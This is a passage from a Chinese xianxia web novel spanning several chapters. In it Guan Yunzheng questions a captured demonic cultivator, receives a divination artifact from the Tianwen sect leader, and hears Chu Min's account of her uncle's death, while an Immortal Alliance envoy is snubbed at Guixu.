严骛心道真是奇了,难道步雁山没有告知门中人仙盟要来吗?他抬高声音:“我是仙盟严骛,敢问仙长姓名?” 凌风起停下脚步,用严骛非常不喜欢的视线打量了他一番,随后反应寡淡地答道:“仙盟的在这做什么?这是我的院子。” 你的院子不也是归墟地界?他都来归墟视察了,谁的院子看不得? 严骛这几年还没吃过这么不客气的闭门羹,闻言语气不由得不善起来:“步掌门没同你说过吗?仙盟来归墟观摩教习的事。” 凌风起哼笑了一声:“我师弟没同你说过吗?今日归墟没有教习内容。” 严骛一愣:“什么意思?” 凌风起摸着怀里雪貂的毛发,头也没抬:“我说得不够明白?还是你仙盟里待久了已经听不懂仙门人说话了?” 严骛再好的涵养此刻也被一句又一句的顶撞消磨殆尽,闻言大为光火:“你到底是什么人?怎么敢对仙盟如此不敬?” 栖霜在凌风起怀里动了动,凌风起弯腰把它放下,迈步走到连廊前:“各地仙门遇到困难的时候仙盟又在哪个世外桃源逍遥快活?你都有脸来,我怎么不敢说?” 严骛觉得这人简直莫名其妙,仙盟什么时候对各地仙门的事务漠不关心了,一定是仙门不曾上报,他们才会有所疏漏。 “你到底是谁?” 凌风起懒得再同他废话,一甩袖子走了:“小小丹修,不足挂贵齿。”—— 作者有话说:云崽虽然不在,但很会骂人的凌师伯在。 最近都没啥人看和评论了呜呜,想要很多很多的评论TT 第45章 自愿?自愿什么? 关云铮魂不守舍地把那枚棋子移回棋枰正中, 停止了对溯洄中魂魄记忆的翻阅。 心魔引在她识海里想说些什么,她权当没感觉到,大步离开溯洄的范围, 没有了逸散的灵气冲开封印的压制, 心魔引重新回到了失声的状态,在识海里被关第三次不知期限的禁闭。 关云铮不知道楚恽在哪里, 她现在迫切地想跟那个邪修谈谈, 但她既不知道那邪修还在不在议事堂,也不知道她能不能跟那个邪修谈话。 一方面那邪修被提取记忆之后有点恍惚,不知道天问会不会允许她在这种前提下进行又一次问询;另一方面,毕竟那人是邪修,名门正派除了审问,和他能有什么可谈的?她的用心经得起推敲和质疑吗? 她自己固然问心无愧, 但又该怎么跟别人解释:明明询问已经结束,阵法也已经把症状抽丝剥茧般罗列清楚, 在这样的前提下,她也还是非跟那个邪修交谈不可呢? 所以找到楚恽就成为了当下的关键。 但她对天问实在是不甚了解, 本想沿着原路返回, 走到一半偏偏撞上方才议事堂里见过的坐主位的长老。 其实关云铮对他的身份有些猜测,毕竟一般来说能在两位长老之间坐主位的,除了掌门也不太可能有别的人了。 她对掌门这类人的认知仅限于21世纪仙侠剧里不苟言笑的形象, 或者步雁山那样温和可亲的。 就……比较极端, 没有中间项。 好在天问这位看起来属于前一类,还算比较熟悉这个风格。 关云铮又在胡思乱想,两秒后否认自己方才的看法:哪里好了?都不敢跟他搭话! 现在这种迎面撞上的情形之下她都不知道该说什么! 疑似掌门的这位好像没看出她的窘迫似的,先一步停下,对她说道:“找楚恽?” 关云铮在心里疯狂感慨掌门善解人意(字面意思):“是, 敢问楚师兄在……?” 掌门语气很平淡:“他有些事要忙,找他何事?” 关云铮决定收回几秒前在心里夸他善解人意的话。 掌门说的话一会儿像读不懂她脸色,一会儿又像洞悉一切,说话水平像六脉神剑一样时好时坏:“有话要同他说?我可以转达。” 关云铮陷入沉默。 怎么感觉这掌门看着是人形,实际像一根很聪明的棒槌…… 掌门看她半天不回应,脸上露出了一点非常不明显的“恍然”:“是今日那个邪修的事?” 关云铮一愣,刚想说点什么,掌门已经接着说道:“他应当还在议事堂,你要是想问什么可以去。” 她好半晌说不出话。不知道怎么形容这种感觉,之前小悯偶尔流露出来过这种,让人稍微有点不寒而栗的洞悉,但是小悯的洞悉比较温和,带着点关切,面前这位…… 怎么说呢就挺像ai的。 没有人比ai更懂人心.jpg 关云铮纠结了好一会儿,正想说点什么,那掌门已经要走了。?不是? 她急忙对着他一鞠躬:“多谢掌门。” 掌门回过头来看了她一眼,脸上没什么表情:“不必。” ……那您也不必为了说这俩字特意转过身的。 掌门终于往她身后的方向走远了,关云铮舒了一口气,继续往议事堂的方向走了。 **** 严骛从没见过说话这么不客气的人,那坏脾气丹修几句话几乎说得他气血上涌,令人愤怒的同时还有点匪夷所思。 以前只知道归墟是个小门派,今年把弟子们放到归墟接受教习还是上头的决定,不少人对归墟的印象还停留在从前的破落户,没成想如今一来,人家已经不把仙盟放在眼里了! 严骛一边在脑子里想着回去之后如何禀报,一边在连廊上愤然往前走。 刚要走过连廊转角,任嵩华不知从哪里冒出来,缩地成寸似的突然出现在他面前。 严骛差点被吓个半死。 她本就比寻常女子都高出一截,脸上又常年没什么表情,身上的衣着也是白色为主,再加上此刻天色渐晚,连廊上没有灯,显出几分昏暗。 此情此景之下,纵然他深知仙门中不可能出现鬼魂,也差点以为自己是撞见鬼了。 这种时候正常人一般都能看出他受了惊,口头道歉或安抚几句,而任嵩华只是平静地朝他一点头,随即又转过身,同他各走各的了。 仿佛只是发现他跟丢了回来找个人。 好个无情道。 他愤愤然又无可奈何,只好跟上去,谁料没走多久,任嵩华又是朝他一点头,做完这个动作后腰间的剑就出鞘了。 严骛一把按住了自己腰间配剑的剑柄。 怎么,要动手?归墟怕不是要造反? 步雁山的声音从他身后传来:“严前辈。” 严骛脸上的戒备还没收回去,闻言骤然转过头,差点闪着脖子:“何事?” 步雁山笑眯眯的:“嵩华应当已经带您观摩结束了,我带您去歇息。” 严骛闻言又回头看了眼任嵩华:“那她拔剑做什么?” 步雁山仿佛现在才看见任嵩华在严骛面前拔剑似的,恍然道:“是这样的,严前辈,嵩华同我一起住在来去峰山头,那儿步行回去实在不便,所以需要御剑。” 严骛瞪大眼睛:“你先前分明说仙门中不得御剑?” 步雁山神色很坦然:“您要是想去来去峰山头观摩一番,也可御剑前往。” 严骛双腿酸软得快抬不起来了,闻言立即反驳道:“我并不打算去,只是分明能够因事破例……” 步雁山会意似的点点头:“先前我看柳大人并无此意,便以为您也不需要,是我考虑不周了。” 严骛……严骛要被气死了。 **** 几人在关云铮的小院说说笑笑,柳卿知到的时候章存舒刚泡好第二壶茶。 “这么巧,看来我来的时机恰好。”柳卿知笑了笑说道。 她此刻和平时不太一样。 在朝堂上她是冷情冷性只认法度的宰相,杀伐果决得让人怀疑她当的不是宰相是阎王。 前两个月涝灾时私吞赈灾粮款的那位早就在牢里死得不能再死了,权势滔天的地方官员,苍韫桢和她都最讨厌这种人。大厦已倾,手底下的猢狲还在吱哇乱叫,递上来喊冤、给自己摘干净的折子一日里没成高山也成丘陵,好像生怕这两个脾气不好的皇帝和宰相找不到他们的错处。 有些当官的对苍韫桢总有种误解,他们觉得她是女人,就会顾虑更多,忌惮更深,不敢像剔去腐肉一样一口气把所有的官员都料理干净,谁料苍韫桢想也不想就把这批叫屈喊冤的全斩了。柳卿知当时就坐在监斩台上,十几个人头落地眼睛也不眨一下。 苍韫桢下旨的时候说了什么? “朕盯着办了这么些年的科举,真当朕无人可用吗?” 而彼时的她就站在台阶之下,与身后所有的官员穿着不同颜色的朝服,面色冰冷得像是立马要提刀去斩了那群乱臣贼子的项上人头。 而此刻她像个邻家姐姐。不穿朝服时她对衣着和颜色没什么讲究,只不过因为一路骑马,所以此刻还穿着窄袖。 其实她经常在苍韫桢面前展现出温和的这一面,但旁人确实很难见到这样的柳相。 冰冷无情是她镶嵌在脸上的假面。 连映起身坐到楚悯旁边,给柳卿知让出位置。 其实闻越更想逃跑,但确实是师姐去跟小悯一起坐秋千更合适,故而他只能如坐针毡地待在位置上,看柳卿知在他旁边坐下来。 柳卿知装作没看出他的不自在,闻越最猫嫌狗不待见的那几年还在朝安城,不巧,做过的丢脸事她几乎都见证过,会不自在也很正常。她从章存舒面前拿过为她准备的那盏茶,喝了一口才说:“我有点明白为什么让你师弟当这个掌门了。” 章存舒也跟她一样揣着明白装糊涂,闻言若有所思道:“他怎么了?” 闻越也暂时把不自在抛诸脑后,摸着早就没有茶水的茶盏外沿偷,不是,光明正大地听。 柳卿知倒是不会跟章存舒一样谜语人,很直白地说道:“笑眯眯地戳人心窝子。” 闻越无端被口水呛了下,他一边咳一边对着看过来的两位大人摆摆手,示意自己没事,心里想着:这也太直白了! 柳卿知继续喝茶:“姓严的最恼火这一套,膈应是真的,没法撒火也是真的,哎呀,他那个要气死的样子,想想就高兴。” 这下连章存舒都感到震惊了:“你现在说话像苍韫桢。” 柳卿知稍微收敛了一下不常出现在她脸上的幸灾乐祸:“头两年仙盟提议办集中教习的时候没提前知会朝廷,要不是我们接到消息先问起来,估计连个响也不会给我们听见,毕竟朝安城没有仙山。” 她说的“我们”自然是指她和苍韫桢。 章存舒点点头,接上她的话茬:“然后今年跟你们说了,就把主意打到归墟头上来了。” 闻越没忍住,笑出声来:“算盘打得够响的。”毕竟姓严的还没从朝安城动身,这边归墟就知道了,怎么不算是算盘打得响呢。 柳卿知神色淡淡:“头两年放在仙盟的时候没提过要观摩,今年放在归墟还没一个月呢,不知道打的什么主意。” 章存舒随口道:“也可能没打什么主意,就是想耍个威风。” 然后……这会儿可能因为在归墟乱窜,遇到不少灭他威风的人吧。 **** 议事堂相当安静,守门的弟子也走了。关云铮推开门进去的时候,那个邪修依旧一动不动地跪在地上,从他身上显出来的字也依旧在他上空漂浮着。 关云铮走近时那人终于动了动,只不过因为被捆缚得太紧,没能有什么大幅度的动作:“谁?” 关云铮没回答他,那人又自嘲地笑了一声:“还能是谁。怎么,这阵法问出来的结果你们还不满意?” 关云铮走到他面前:“我不是天问中人。” 那人抬起头来看她:“是你?” “是我。看来阵法的影响消散了,你现在很清醒。”关云铮垂眼看向他。 跪在地上的人冷笑一声:“你又想问什么?” “被引魂的人都会死吗?” “废话。” “你们拿魂魄做什么?” “我为什么要告诉你?” “你可以不告诉我,我也不会对你动手,但你坦白与否都不影响你的结局。你不说,我会在下一次遇见鬼灯楼的人时再问,总有人会告诉我。” “你遇见过很多我们的人?” “多数都死了。”这句话半真半假,死确实都死了,但多数不是死在她手里。 “……有些拿来做成引魂香,其他的任凭消散。” “你一直在天问的地界?” “不久前才过来。” “之前在哪?” “镜溪城吧,你问多久之前?” “你知不知道镜溪城前段时间死了三个鬼灯楼的人?” “什么意思,你干的?” “你认识吗?” “算是认识,你到底想问什么?” “你知道他们曾经抓过一个姓关的姑娘吗?” “姓什么我怎么知……你说姓关?” 邪修脸上的神情不似作伪,关云铮语气没变,问道:“怎么,真有姓关的?” “但她不是我们抓来的,不对,应该说确实是我们抓来的,但没打算在她身上引魂。”邪修仿佛突然又记忆混乱发作,刚说完便矢口否认道,“不对,当时好像是引魂了,但是没成功。” “为什么?” “我哪知道,我也是听说的,那姑娘本来就不想活了吧,被抓来的时候压根没反抗。” “然后呢?” “然后?死了呗,还有什么然后?” “你不是说引魂没成功吗?” “我也记不清了,跟我说这事的那人神神叨叨的,你到底要做什么?” “你们邪修会为了达成目的献舍吗?” “献舍?这都失传多少年了,压根没人会。” “那心魔引,你们门派中有多少?” “还有这东西?你怎么比我懂的还多?你真是名门正派?” 关云铮笑了声,轻声说道:“看来当时杀错人了,你知道的确实不多。” 那人只恨自己被绑得太紧,此刻看到关云铮的笑容简直后脊发凉:“什么意思?” “没什么意思,可惜你多半没法回鬼灯楼了,不然我还挺想让你去问问,那个叫关云筝的姑娘到底怎么样了。”关云铮说完这话,绕过地上的人,准备往外走。 “你是她什么人?”邪修在她身后追问,“你为什么那么清楚她的事?” 关云铮没回答,继续往外走。 “等等!你,你不是就叫关云铮吗?” 她停下脚步转过身,轻声笑起来:“是啊,我是关云铮。”—— 作者有话说:接下来几天有点忙,有个比较重要的事情要准备,下一更可能在周六(跪) 第46章 可以说是依旧一无所获。 关云铮从议事堂出来, 下意识摸出乾坤袋,把手伸进袋里摸了摸那张传送符。 有点想回归墟了,哪怕她离开还不到一天。 但是她至少得跟楚恽打个招呼。 这就很矛盾了, 因为她现在不想跟任何人交谈。 可能是杀人的后劲上来了, 也可能是活人不能看太久的魂魄记忆,总之出于各种她知道或不知道的原因, 她现在很累很烦, 想找个地方歇会儿。 但这里不是归墟,她能去哪里休息呢。 方才那个院子是个好去处,但是她不想往那边走,怕遇见天问的人。溯洄周围倒是很安静,但是心魔引会冒出来打扰。 真愁人,要是在归墟好歹能窝在秋千上自闭一会儿。 左右现在没有人会来议事堂了, 要不就在旁边找个地方坐一会儿吧。 ——于是楚泽枫想起什么事情找回来的时候,就看见那个归墟的弟子坐在议事堂门口的台阶上, 双手抱着腿,脑袋搭在膝盖上, 好像睡着了。 他站在不远处想了想, 拿出灵牒给楚恽传信:“来议事堂一趟。” 那边接着信的楚恽还以为出什么事了,火急火燎地跑过来,发现他爹, 也就是天问掌门, 正站在不会惊扰关云铮睡觉的地方,等关云铮睡醒。 楚恽茫然了一瞬:“父亲,您找我?” 楚泽枫点点头,把怀里一个东西给他:“把这个给她。” 楚恽接过,发现是他爹这段时间刚做好的一个小法器:“您为何不亲自给她?” 他爹用一种掺杂着困惑, 但困惑非常不明显的眼神看了他一眼:“她在睡觉。” 楚恽无言以对,只好点头应下:“好,我来给她,父亲可还有其他要我做的?” 他爹已经转身走了。 楚恽:“……” 关云铮可能是太累了,趴着的这么一会儿居然睡着了,还做了个没头没尾的梦。 梦里的她坐在书桌前玩手机,注意力明显不集中,手机屏幕上的页面半天也没动一下,显然是在开小差。很快目光又瞥见角落里放了一天的几瓣柚子,于是把手机架在支架上,拿过柚子开始剥。 估计放了至少一个晚上,皮有点干,黏在果肉上,两瓣柚子之间也黏连得很紧,只能从中间掰断,然后一点一点地把皮撕下来。 干了的皮有点脆,还有点硬,她一边剥皮一边看手机,被那点边角扎进指甲里,痛得“嘶”了一声。 真出声了,直接把自己“嘶”醒了。 醒了才发现是腿麻了,正准备甩手缓解,发现不远处站了个人。 吓得她慌不择路向后一仰,脑袋差点磕在议事堂的门上。 好在坐的台阶低,门离得远,没磕到就清醒了。 “楚师兄。”她腿麻得站不起来,只好一边小幅度的甩手一边打招呼,感觉有点不好意思。 楚恽似乎等在这挺久了,也不知道是什么事能让他等在这却不叫她。 关云铮好奇地看了看面前的人:“有什么事吗?” 楚恽好像措了半天的辞,最后又放弃了,这时候走上来把手里的东西给她:“这是掌门给你的。” 她甩手的动作停住:“给我?为何?” 楚恽叹了一口情绪相当复杂的气:“我不知道。” 关云铮尽量让自己的表情看起来不要那么匪夷所思:“好吧,那这是什么?” 楚恽干巴巴地解释道:“是个法器。” 关云铮接过他手里的东西,听见这句实在没控制住,用一种呆滞伴随着震惊的表情看向他:“没了?” 这谁看不出它是个法器?但这就没了? 楚恽看着她:“嗯,其他的我也不了解。” ……可真行。 楚恽的表情都能算得上哭笑不得了,他沉默了好久才又说道:“我之后去问问他。” 关云铮腿不怎么麻了,撑着地面站起来:“那我就谢过楚师兄和掌门。” 楚恽点点头,又问:“是不是要回去了?” 关云铮正思考怎么开口,楚恽已经善解人意地先提出来了,她索性点点头,就坡下驴道:“嗯,多谢楚师兄这一日的照顾。” 楚恽笑起来:“应该的。” 她从乾坤袋里摸出那张传送符,本来觉得烧掉比较帅,但暂时找不到火,只好上手撕成碎片,又出于不能乱丢垃圾的习惯,把碎片攥进手里。 “楚师兄,下次再见。”她抬起头对楚恽笑了笑。 “亮了亮了!我就说该回来了!” 闻越的声音。 关云铮还没在传送阵法里站稳,手里的符纸碎片被一阵风卷走了,她下意识伸手捞了一把,抓住了……楚悯的手。 诶? 楚悯上前一步,伸出另一只手把她抱住了。 诶? 关云铮下意识回抱楚悯,又用手拍了拍她的后背:“怎么了?” 章存舒的声音在她背后响起:“等你回来吃饭。” 关云铮自然没打算推开这个拥抱,但忽然想起一件要命的事,挣扎着说道:“我衣服上好像有血。” 她在心里嘀咕:好好一个拥抱变得怪埋汰的。 章存舒和闻越听见这话,瞬间大呼小叫着上来把她围住,楚悯立马松开她,和凑上前来的师姐仔细地查看了一圈她有没有受伤。 关云铮对上人群外江却关切的视线,眨巴眨巴眼:“那什么,我还没说完,是邪修的血,我没事。” 章存舒不太明显地长舒了一口气。 闻越简直想跳脚:“下次不许说话大喘气了啊。” 连映摸了摸关云铮的脸:“没事就好。” 而楚悯在关切地看了她一会儿后,若有所觉地看向她那只虚握成拳的手。 于是关云铮在一圈人的注视下摊开手:“这是天问掌门给我的,”她看向楚悯,“是你哥哥转交的。” 所有人的目光又投向她手里的那个小玩意儿。 看着很像个日晷的微缩模型,只不过中间没有晷针。上下有三个大小互相嵌套的轮盘,最下方的有巴掌大,最上方的一层只有握拳后掌心的大小。 说实话,她不太懂天问掌门给她这个的用意,指望她自己开悟,明白这玩意儿的作用机制?那也太抓瞎了吧。 “你见过这个吗?”她把手往楚悯面前伸了伸。 楚悯正要摇头,忽然察觉到什么,低头把乾坤袋里的灵牌摸出来。 她低头快速看了眼灵牌上传过来的讯息,没顾上立刻给她兄长回信,抬起头对关云铮说:“兄长说,此物名将隐。” **** 晚饭几人围坐一桌,关云铮和楚悯坐一边,闻越和关云铮挨着,趁章存舒没注意,凑过来说道:“师父还说自己不操心呢,看他大呼小叫的。” 关云铮颇觉好笑地看他,配合地放低声音说道:“你不也大呼小叫了吗,师兄?” 闻越很坦然:“我好歹言行合一,哪像师父,他昨日还在我和师兄师姐面前装蒜。” “蒜”字还没落下,荣获章存舒敲头。 闻越吃痛地捂了一下脑袋,亡羊补牢地揉了揉:“师父!” 章存舒端着一碗甜汤坐下,在连映的注视下……把汤端给了关云铮。 关云铮脑海里自动出现黛玉语气:这是原来就给我的,还是你不能喝才给我的?她默默把脑海里的奇思妙想掐了,低头喝了口,随即抬起头来:“不怎么甜,师父能喝。” 章存舒刚要坐下,闻言又起身去盛汤了……真行。嗜甜人设不倒。 楚悯给兄长回完了信,开始解释道:“这个法器是我……是掌门近期打造出来的,以灵气驱动,可进行推演与卜算。” 关云铮捕捉到了她说掌门之间那个“我”字,忽然有了个大胆的猜测,但忍着没说,问道:“哪种程度的推演和卜算?可以问天吗?可以削减代价吗?” 楚悯知道她最关心的就是代价的事,于是先对这一点解答道:“可以削减代价,不过也因此,能进行的推演与卜算有限,会受制于使用者对灵气的运用与自身境界。” 关云铮点点头,完全是天问派的逻辑,人的能力越强,能进行的卜算就更深刻,只不过过程中不会因为卜算受到反噬。 反正是在归墟,她“口不择言”道:“那为何不多打造几个?”代价这种事又不是什么勋章,积累得越多越光荣。这么好用的东西,要是制作起来没难度的话,推广一下也未尝不可吧。 但楚悯居然没立刻回话。 关云铮顿时警惕道:“这玩意儿到底要花多少灵气?” 两人此刻的神态就像那个网络流传梗图:不会吧?你告诉我不会吧?——是的,就是你想的那样。 关云铮看着手边的将隐陷入沉默。 相当于用一次能把人身上的灵气抽干?这样削减代价是吧? 楚悯被她悲痛和震惊参半的神情逗笑了,此刻又补充了一句:“当下不太建议使用,以后肯定能派上用场的。” 关云铮把嘴埋甜汤里:“我都没这个自信,没准我能耐到顶也没法用它。” 闻越把手一挥,活像10年那部《三国》里曹操的表情包:“不可能,你肯定能行。” 所有人默默看向他。 闻越正被注视得莫名,只见围坐着桌子的人又不约而同地笑起来。 “是啊,肯定可以的。”连映笑着说道。 **** 关云铮把将隐放在石桌上,又兴致勃勃地对楚悯说:“你带回来什么?给我看看给我看看。” 楚悯住的小院跟关云铮的几乎没有隔断,两个院子之间也没有和其他小院一样的连廊,跨过月洞门就能看见她放在石桌上的琴。 楚悯拉着人跨过门,示意她往那边看。 这夜正好有月,那琴弦看着简直像是月光织就,乍一看见,关云铮都没敢喘气,生怕那琴弦像水里的月亮,吹口气就断了。 “你给它起名字了吗?”关云铮扭头看向楚悯。 楚悯点头:“嗯,月下逢。” 关云铮恍然:“哦——若非群玉山头见,会向瑶台月下逢。” 楚悯走近,闻言困惑:“这是……?” 关云铮回过神,才意识到刚才自己背诗背出声了,立刻一边摇头一边摆手,求生欲莫名强烈地解释道:“是我从别处看来的诗。” 哪怕是架空世界也不能用诗仙的诗给她自己充场面,她哪配啊? 楚悯被她忙不迭的动作和辩解逗笑了:“嗯,别处看来的。” 关云铮心虚地点了点头,心说下次背诗不能再出声了,显着她了是怎么的,不能默背吗。随即她又想起吃饭时想到的事,立马抓住最后一根稻草似的转移话题道:“小悯。” 楚悯拉着她在石桌边坐下:“怎么了?” 关云铮忽然又有点开不了口,总觉得当时小悯临时改口,或许是不想说的吧? 她的纠结都写在脸上了,楚悯笑了笑:“想问什么?” 关云铮一边观察着楚悯的脸色,一边问道:“天问掌门,是……你父亲吗?” 楚悯点头:“是我父亲。” 果然。 之前在议事堂门口刚睡醒的时看见楚恽,她就发现了不苟言笑的楚恽乍一看有几分像那位掌门,所以当时才会被吓一跳,还差点磕到后脑勺。 只不过很快楚恽就又恢复平时那个样子了,又把将隐塞到了她手里,她也就没顺着这个想法思考下去。 不过小悯好像并不介意的样子…… “那时没有必要提及此事,所以没说。”楚悯解释道。 虽然确实没有必要,因为当时谈话的重点是将隐,但是需要这么严谨吗? 关云铮又开始用那种很担忧的眼神看着楚悯了,好像在看一个总被规矩压得无法喘气的可怜孩子。 楚悯没忍住,笑出声来:“你这样看着我,不知内情的人会以为我父亲在门中经常苛待我。” 关云铮露出很隐晦的“难道不是吗”的眼神。 楚悯摇摇头:“父亲以前不是这样的。” 关云铮的眼神从担忧转变为好奇。 楚悯和她对视片刻,神色变得有些犹豫,似乎是不知道该不该说出接下来的话。 关云铮看懂了她的神色:“怎么你也顾虑起来了?” 楚悯坦言:“接下来的话似乎有些不合时宜。” 关云铮宽慰她:“不是夜间谈心吗,没有什么合不合的,想说什么说什么呗。” 楚悯笑着叹了口气,开口时笑意却淡退了一些:“是……叔父逝世后,他才变成现在这样的。” 关云铮感觉自己仿佛被空气噎了一口,谈话的氛围骤然从欢欣切换到沉痛,她差点没控制住表情。 她现在只想穿越到几秒钟之前,让说出“想说什么说什么”的那货把嘴巴闭上。 就知道不该问的啊!谁来救救她这个说错话的小女孩!—— 作者有话说:签约成功啦!嘿嘿 第47章 楚悯用那种“我说了会不合时宜吧”的眼神看着关云铮, 接着说道:“你有没有写每日记录的习惯?” 关云铮愣了一下,没明白她为什么忽然拐到这个话题上,于是下意识重复了一遍她的问题:“写日记?” 楚悯若有所思:“这也是……在别处看来的?” 关云铮打了个磕巴, 有时候嘴跑得比脑子快就这点不好, 话都凉透了她脑子才转过弯来:“啊,确实是别处看来的。怎么了, 忽然说到这个。” 楚悯摸了摸月下逢的琴身:“我小时候发现, 单纯思考事情、不记录的时候,容易受到情感的干扰,但要是此时提笔把要思考的事记录下来,受到的情感上的影响就会削减很多。” 关云铮“唔”了声,总感觉这个说法无端耳熟,在哪里听过呢…… “我觉得说出来也是一样的道理, 很多事放在心里不对他人言的时候,就显得格外严重一些, 说出来后反而会发觉不过如此。”楚悯这样说道。 关云铮现在明白她提及日记这个话题是什么目的了。 正如她苦恼于如何引气入体之时,楚悯在那番话里用了握住水流作为例子一样, 楚悯在谈及略显沉重的话题时, 似乎倾向于用一个乍听风马牛不相及的寻常话题,作为她言论的开头。 是个非常擅长诉说和说服他人的人,只是多数时候都很沉默。 楚悯用写日记的例子告诉她, 自己会把“叔父逝世”这件事说出口, 便是不觉得关云铮谈起这个话题是不合时宜。 但是创伤被时间冲刷得再淡,伤疤长得再好,都会留下痕迹。她小学六年级长的冻疮到现在都能看出……啊,现在看不到了,原身没有伤疤。 关云铮想到这, 轻轻叹了口气:“我没有写日记的习惯,常常是脑子里想法一大堆,写下来的句子却没什么关联。” 楚悯此刻的神情像个相当有耐心的教书人:“为何?” 关云铮看了看月下逢:“不知道,可能是我觉得,过一段时间再来看这些句子,会觉得自己很小题大做吧。” 就像长大后看曾经发过的某某空间常常会觉得万分羞耻,说什么“人甚至不能共情以前的自己”。 哪怕长大后面对撕伞的大人时经常会愤慨,为什么明明他们也经历过这些苦日子,但就是不会体谅自己呢? 其实也没什么好感慨的,毕竟大家回头看时也没有体谅过曾经的自己。自己都没法体谅的话,没有经历过同样痛苦的人如何能体谅呢,毕竟每个人的境遇再相似也不可能相同。 幼时的窘迫是真的,困惑是真的,伤心、快乐、甚至矫情,这些都是真切的,是自己的一部分。但很多人甚至不能认可这些部分,包括关云铮。 楚悯脸上的困惑也十分真切:“但是你甚至没有写下来呀,你怎么就已经知道,以后的自己一定会觉得小题大做呢。” 关云铮微怔。 是啊,她甚至没有写下来。 她只是在有烦心事想要记录的时候就开始想象来日,想象自己由于心绪不平写下的似是而非的文字,不仅无法被未来的自己看懂,还会被嘲笑是“少年心事”,是矫情作怪。 所以根本没有写下来,让理智占据大脑开始分析的过程,她只是反复地在脑内演习着一段情绪,反复地加深加重片段,直到这件事不再重要,被丢去记忆里的某个角落。 但这些片段就像是伤疤,被丢去一边,但并未被抹去痕迹,甚至可能没有完全愈合,翻出来时还会带着隐痛。 啊,她想起来了。 小悯的说法确实是有科学依据的,她曾经看到过。 只用大脑反复思考,情绪脑会抢着恐慌、甚至散布谣言不断放大焦虑。可一旦写下来,负责理智和逻辑的前额叶就会开始运作,而所有已经在大脑中演练得天塌地陷的情绪,在前额叶看来,都不过如此*。 **** 严骛筋疲力尽,打算暂时不去追究归墟,在步雁山给他安排的院子里歇了下来。 不知道柳卿知歇在哪里,换做平时,哪怕不情愿,他也一定会去装模作样的问一句。但此刻,经历了数日来的跋涉和一整天的奔波,他没精力也懒得管了,草草洗漱完就拉过被褥歇下。 天色已然黑沉,任嵩华方才出剑只是懒得再搭理严骛,实则并没有要立刻回来去峰的意思,此刻跟在步雁山身后没出声,等着步雁山的指示。 步雁山难得露出些疲色,叹了口气后强打起精神对任嵩华说:“你先回去吧,我去……找师兄喝酒。” 喝酒?任嵩华的眉尾不甚明显地挑了一下。 章存舒在门中从不喝酒,想来只能是去找凌风起。 步雁山没回话,朝她摆了摆手,朝着凌风起院子的方向走远了。 任嵩华收回视线,裁冰*即刻出鞘,却又在瞬息之后被她按回剑鞘中。 去苍生道看看吧。 **** “小时候族中长老在夸赞我的天赋时,总是说,‘你是这一代最有天赋的天问’,彼时的我已经学会了大衍筮法,就是用蓍草占卜,父亲那时候,”楚悯停顿了一下,似乎是在回忆,“那时候他很高兴。” 楚悯说着,从乾坤袋里摸出几枚已经快被磨没了凸痕的铜钱:“这些铜钱是那时他给我的,据他说,是他幼时学占卜时用的。” “我那时一直不明白,为何长老们都特意提及一般说到‘这一代’,直到后来我见到了叔父卜算时的样子。”楚悯像是随性而为,用指腹把几枚铜钱在石桌上排开,“据说很早以前,天问还没形成门派时,修道者把我们这些会卜算的人叫做通灵者,借助的龟甲、蓍草、铜钱,被他们称作灵媒。” 关云铮没说话。 “叔父不像通灵者,他像灵媒。”楚悯似乎是无意识地在摩挲着最边缘的那枚铜钱,“他天生就会卜算,龟甲、蓍草、铜钱,对他来说都像负累。” 所以长老们总强调“这一代”,因为跃出这一代这个前提,叔父是领先所有门派中人的,毋庸置疑的那个“天问”。 “叔父很少卜算,幼时的我不解,但只敢问兄长,当时兄长的神情……”楚悯停顿了一下,没再往下说。 那时兄长的神情,幼时的她看不懂,长大后就懂了,那是一种善意的隐瞒。 发现她的天赋异于门中其他同辈后,叔父和她待在一起的时间就变多了,有很长一段时间,她的头发都是叔父梳的,连辫子都是他编的。 叔父总是一边给她把乱糟糟的头发梳齐整,一边笑着问她:今天想要什么样的辫子呀? 然后她就会对着铜镜沉思一会儿,向着叔父摇了摇食指。 叔父会装作恍然大悟的样子:只要一股吗?小悯头发这么多,多编一些也很好看。 她会认真地考虑叔父的话,然后摇摇头,说一股辫子才好呢,晚上睡前解开比较省力。 叔父会被她逗笑,然后垂着眼说:是叔父想错了,之前给小悯编了那么多,晚上解得很费力吧? 她又会摇摇头,看着铜镜中的叔父说:没有,只是觉得叔父编那么多也很累。 叔父确实很累,但不是因为给她编辫子这件事。 那时候的叔父已经开始掉头发了,只是她不知道。 她一直觉得名号就像加诸己身的枷锁,被门中人用“这一代最有天赋的天问”夸赞久了,她甚至没能注意到身边的叔父逐渐不束发了。 虽然人的变化都是在一段时间不曾相见之后,重逢时骤然感觉出来的,朝夕相处的人身上产生的变化反而没那么容易察觉。 但这算什么天问?又有什么脸面鼓吹“万事万物了然于心”? “通晓万事是天道对天问的诅咒,是窥探天道势必要付出的代价。”楚悯沉默许久后这样说道。 她成功“问天”那一年,叔父偿还了他作为一个“灵媒”需要付出的代价。 他形神俱灭。 “我父亲那时以为,叔父的魂灵仍有归处。但他用尽手段也没能找到哪怕一缕残留的魂魄。”楚悯收起了那几枚铜钱,“他闭关三年,出关后,盈都峰有了镇山灵器,天问有了溯洄。” 他没了七情。 关云铮很想说点什么缓解一下此刻沉重的氛围,但大概是心里深知说什么都是徒劳,最终什么也没能说出口,跟楚悯一起在石桌边沉默着。 ——任嵩华走来时面对的便是这样的场景。 无情道刚跨过月洞门,看见此情此景停顿了片刻,随即看向关云铮,问道:“你可见到了严骛?” 关云铮对她提到的人名很茫然,再加上刚才还在悲伤的情绪里,骤然看见任嵩华走来,有点没反应过来,所以十分坦诚地问道:“谁?” 啥玩意儿? 楚悯微微侧过脸,解释道:“仙盟的人。” 关云铮对上任嵩华的视线,大脑运转片刻,想起来了。 所以当时女帝说的那个“姓严的”,就叫这个名字?哪个wu? 任嵩华从她神情中读到自己问题的答案,点点头又说道:“几年前仙门大比时用过一件法器,能测天赋和灵根,章先生安排你们下山,应当是你身上有不可被勘测出的东西,”她给自己的问题下了结论,“没见到就好。” 说完她便转过身,作势要走。 关云铮还没见过一口气说这么多话的任嵩华,也没见过这么说来就来说走就走的性格,一时都呆住了。任嵩华那边都快跨过月洞门了才回过神来叫住她:“等等。” 任嵩华停住脚步,转身看过来。 关云铮惊恐地发现自己叫住她居然不知道该说些什么,在无情道的注视下凝滞片刻才说:“多谢任师姐提醒。” 任嵩华点了点头,临走前又看向楚悯:“那是你的琴?” 这下楚悯也惶恐起来了:“正是。” 